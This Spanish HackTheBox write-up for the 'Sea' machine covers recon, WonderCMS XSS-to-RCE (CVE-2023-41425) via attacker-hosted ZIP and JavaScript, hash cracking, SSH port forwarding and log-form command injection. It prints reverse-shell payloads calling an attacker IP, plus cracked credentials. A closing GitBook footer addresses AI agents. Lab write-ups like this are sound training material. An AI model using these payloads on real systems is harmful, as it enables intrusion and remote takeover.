> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md).

# Análisis de Sea HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Sea>" %}

{% hint style="warning" %}
**Habilidades**:

* Explotación de Wonder CMS
* Vulnerabilidad CSRF
* (XSS a RCE)
* Reenvío de puertos
* (LFI - RCE) Vulnerabilidad de envenenamiento de logs
  {% endhint %}

## Reconocimiento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/284f61312f59cdbb39fa7a8d17d29afc4bbced43" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/045bed7aab6cae4e26f76c30f435a38a2cb18610" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts
```

<figure><img src="/files/7228cdfc864fce90cf2eb718fdb60ccb3146c46c" alt="" width="563"><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (22.80)

<figure><img src="/files/a5c27a714576b0540b7b2ec48ea4812627b3979b" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.28 -oN targeted
```

<figure><img src="/files/9eea98d465d10fa42c1fc1bde1503d4289b87676" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

<figure><img src="/files/9a992e194fb0582327dbc6cd3c9b15f4bb020784" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/84182560c2559753b4f467d3a9e3cf5ead5439d8" alt=""><figcaption></figcaption></figure>

**Descubrimiento de un sitio de contacto:**

<figure><img src="/files/ff60f99948e648f5866a34d5cea5f067faf1cd16" alt=""><figcaption></figcaption></figure>

**Comprobando las comunicaciones entre el servidor y el sitio:**/ Encontramos una parte del sitio dedicada a los contactos. Comprobamos si el servidor está enviando solicitudes a este sitio.

<figure><img src="/files/bab9b7430c6a70a9bdb6af2c50671029a53d23ec" alt=""><figcaption></figcaption></figure>

**Recepción de una solicitud en nuestro servidor web:**/ Para capturar esta solicitud, configuramos un servidor HTTP simple con Python:

```bash
python3 -m http.server 555
```

<figure><img src="/files/9fbdedc3c6d48e9e0dd9395fb3972126f285ad5a" alt=""><figcaption></figcaption></figure>

**Interceptando la solicitud con** [Burp Suite ](/es/hacking-tools/web/burpsuite.md)**:**/ Interceptamos la solicitud con Burp Suite para analizar las comunicaciones.

## **Posible** [**SSRF**](/es/web/ssrf.md)**:**

#### Intentamos enumerar servicios internos usando un ataque SSRF, modificando el parámetro de consulta:

```bash
&website=http:127.0.0.1
```

<figure><img src="/files/af69b3f9c5e051d558a1614b2b790979e0f46177" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos internos con Intruder:**/ Usamos Burp Suite Intruder para realizar un ataque de fuerza bruta y descubrir puertos internos abiertos.

<figure><img src="/files/635f9b32ee15633ef713aef8626d57c0e0dba5b7" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a26c6a23ef31eedbe780758ba98fe94692dd2a8c" alt=""><figcaption></figcaption></figure>

**Filtrado de respuestas:**/ Filtramos las respuestas según su tamaño para identificar cuáles son relevantes, pero todas son iguales.

<figure><img src="/files/61c4a997b65be1052ccef10fde187bb2213097af" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de WonderCMS ([CSRF](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (XSS a RCE) <a href="#wondercms-vulnerability" id="wondercms-vulnerability"></a>

**Búsqueda de directorios:**/ Usamos Gobuster para buscar directorios en el sitio:

```bash
gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Esto nos devuelve el **/themes** directorio con un código de redirección 301.

<figure><img src="/files/0c38cce92547a176e5d9c40f41a3923f86810ffd" alt=""><figcaption></figcaption></figure>

**Explorando el directorio themes:**/ Continuamos la búsqueda añadiendo la ruta descubierta a la URL y explorando el **/themes** directorio

```bash
gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Encontramos el **/bike** subdirectorio.

<figure><img src="/files/429cd9f04de82d94e68634ed7a74aeb9a916f2ae" alt=""><figcaption></figcaption></figure>

**Filtrado por extensiones de archivo:**/ Usamos *ffuf* para filtrar archivos con ciertas extensiones (php, html, png, etc.) en el **/bike** directorio:

```bash
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
```

Este comando nos permite encontrar un archivo llamado **README.md**

<figure><img src="/files/69f988fee3b0036122318c98cce81690fa4b9aa7" alt=""><figcaption></figcaption></figure>

Encontramos un `README.md` archivo que indica que el servidor usa un tema llamado "WONDER", que es un CMS.

<figure><img src="/files/114beb66ed31d49ccd2a4da85d3c93f663252497" alt=""><figcaption></figcaption></figure>

Mientras buscábamos vulnerabilidades relacionadas con este CMS, descubrimos una falla que permite ejecución remota de código (RCE) mediante inyección XSS.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**Código JavaScript para obtener una shell:**/ El siguiente código JavaScript descarga un archivo ZIP malicioso que contiene un script de reverse shell y luego lo ejecuta en el servidor:

```javascript
// el servidor tiene algún problema resolviendo nombres de dominio con JavaScript
// podemos simplemente proporcionar la URL objetivo como parámetro requerido
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modificar la ruta del archivo ZIP servido en el servidor HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visita rev.php dentro del archivo ZIP subido
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // activar el script de reverse shell y proporcionar la IP y el puerto del listener
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Instalación del script de explotación para la vulnerabilidad (CVE-2023-41425):**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Ejecutamos el script de explotación:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

El script anterior envía una solicitud a nuestro servidor en el puerto 8000 mediante un `xss.js` archivo, dándonos acceso RCE y control de la máquina objetivo.

<figure><img src="/files/087af35a87889928388a3c65cd87cde7b28830c1" alt=""><figcaption></figcaption></figure>

**Paso final:**

Necesitamos enviar el enlace XSS al administrador a través del `contact.php` formulario para engañarlo y que haga clic en el enlace malicioso:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/cd7bfa77c17ebf5a745f26ae415b20f4edd71897" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/762b6b02a999aa44d8d3ab21a96a5cda28b560f2" alt=""><figcaption></figcaption></figure>

**Escuchando con Netcat:**/ Escuchamos en el puerto 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/50415175215f038e349831621dc6cb36b0b69720" alt=""><figcaption></figcaption></figure>

#### Una vez que tengas acceso al servidor Linux, usa los siguientes comandos para estabilizar la terminal <a href="#terminal-stabilization" id="terminal-stabilization"></a>

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabiliza la shell para trabajar más cómodamente. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalada de privilegios:

Como usuario *www-data*, filtraremos el contenido usando el `find` comando para buscar solo archivos que contengan la palabra "**contraseña**" en el directorio del servidor web `/var/www/sea`.

```bash
find /var/www/sea -type f -exec grep -Hn "password" {} /
```

Encontramos una contraseña cifrada en el `database.js` archivo:

`$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

<figure><img src="/files/4b147231f11ccb4eedb4dad0c4390642944834f4" alt=""><figcaption></figcaption></figure>

Para descifrar esta contraseña, usamos la **John the Ripper** herramienta con el `rockyou.txt` archivo de diccionario:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/d9d889e5d31ca4acadaf075f2f7cf2e3dc27f924" alt=""><figcaption></figcaption></figure>

La contraseña descifrada es mychemicalromance

Ahora intentaremos conectarnos con los dos usuarios disponibles en el sistema: "geo" y "amays".

<figure><img src="/files/02d2b8a68f33973f8f94fee36e5ed96f1123a7e1" alt=""><figcaption></figcaption></figure>

La contraseña para el usuario **amays** es correcta.

### Bandera user.txt

<figure><img src="/files/e5de55535d3952d3e850319f42069007e062fd14" alt="" width="563"><figcaption></figcaption></figure>

Analizando las comunicaciones de la red interna, encontramos que el puerto 8080 estaba en uso:

```bash
netstat -ano
netstat -nltp
```

<figure><img src="/files/82d970cacca47a9cfb33c9ba669d192a8bdb2b33" alt=""><figcaption></figcaption></figure>

Por lo tanto, redirigiremos el puerto 8080 del servidor a nuestra máquina atacante mediante SSH usando redirección de puertos, desde el puerto 8888:

```bash
ssh -L 8888:localhost:8080 amay@10.10.11.28
```

Una vez conectados, encontramos un panel de inicio de sesión.

<figure><img src="/files/c1c6d9d655db56130b1cfe46a8a4e99ea5b74141" alt=""><figcaption></figcaption></figure>

Con las credenciales del usuario `amay`: `mychemicalromance`, logramos conectarnos a un sistema de monitoreo.

<figure><img src="/files/1f4fb614ef22a456cadcbaff1cfa4c488ef8485a" alt=""><figcaption></figcaption></figure>

Podemos observar los registros de conexión de `root`.

<figure><img src="/files/8128af1866c04a0ad8f25af33bbe4ed06df438f3" alt=""><figcaption></figcaption></figure>

Al interceptar la solicitud con Burp Suite, notamos que muestra el contenido del `/var/log/apache2/access.log` archivo de una manera más estructurada.

<figure><img src="/files/8f12ed9f9d9a98004d79a1f8833bb63a776f24ff" alt=""><figcaption></figcaption></figure>

Este archivo solo puede ser abierto por el usuario `root`.

<figure><img src="/files/af01669d51a76d708fd5644720a1a14974bd88b4" alt=""><figcaption></figcaption></figure>

### Vulnerabilidad [(LFI - RCE) Envenenamiento de logs](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md):

Si intentamos listar un archivo como `/etc/passwd`, por ejemplo:

```
log_file=/etc/passwd  &analyze_log=/etc/passwd
```

El archivo se lista :)

<figure><img src="/files/180a34748440ed40868d68ec23fe1b6593fcc8f8" alt=""><figcaption></figcaption></figure>

Entonces intentaremos leer el archivo que contiene el `root` flag y observamos que es posible ejecutar comandos (como `id`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt
```

<figure><img src="/files/97f0d9dafa78d120d6e63eed2efd143a9ed3db1c" alt=""><figcaption></figcaption></figure>

### **Acceso completo (reverse shell):**

Para obtener una reverse shell, ejecutamos el siguiente comando:

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt
```

{% endcode %}

Luego, escuchamos con `nc`:

```bash
nc -nvlp 443
```

### Flag de root :)

<figure><img src="/files/f32da74a70148dc02b8ebf9abfee1a7e6e0def1c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d54499e1da51b70d61e3f7108b38bc5e7caa136c" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
